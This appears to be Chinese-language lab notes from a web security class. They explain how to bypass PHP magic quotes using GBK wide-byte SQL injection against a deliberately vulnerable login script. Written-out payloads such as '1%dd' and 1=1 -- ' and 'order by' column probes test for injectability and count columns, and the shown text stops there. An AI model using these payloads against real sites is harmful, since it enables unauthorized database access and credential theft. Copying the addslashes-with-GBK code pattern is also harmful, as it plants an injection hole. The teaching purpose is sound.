课堂知识点:
当有魔术引号无法闭合时,绕过方法:
1.找不需要闭合的地方(即没有单双引号等闭合的地方)
2.仔细查看作用域(魔术引号只对get post cookie传参有效)
3.宽字节法。(当我们在\前传了一个字符,用gbk编码可以跟\组成一个字,\就逃 逸了出来)
ps:国际编码:utf-8
汉字编码:gbk
采用宽字节绕过的办法:
url编码中,一个英文单引号’用url编码表示是 %27
url编码中,一个反斜杠\用url编码表示是 %5c
%df\可以凑成汉字
%9c\
%dd\等也可以
宽字节注入(一)
get传参处=1之后输入’ and 1=1,得到
select *from user where id=’1\‘ and 1=1’
说明有魔术引号。
查看源码
$username = ‘’;
$password = ‘’;
@$id = addslashes($_GET[‘id’]);
@$sql = ‘select from user where id=\’’.$id.’\’’;
mysqli_select_db($conn,’*‘);// 不想让你们知道库名
mysqli_query($conn,”SET NAMES gbk”);
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$username = $row[‘username’];
$password = $row[‘password’];
}
echo ‘Your Login name:’.$username;
echo ‘Your Password:’.$password;
不能用Header注入方法。
用宽字节法,如下
1.判断页面是否存在sql注入:
get传参:
id=1%dd’ — qwe
页面正常
get传参:
id=1%dd’ and 1=1 — qwe
页面正常
get传参:
id=1%dd’ and 1=2 — qwe
页面不正常,说明存在sql注入。
2.判断字段数:
get传参:
id=1%dd’ order by 1 — qwe
页面正常
get传参:
id=1%dd’ order by 2 — qwe
页面正常
get传参:
id=1%dd’ order by 3 — qwe
页面正常
get传参:
id=1%dd’ order by 4 — qwe
页面不正常,说明有3个字段。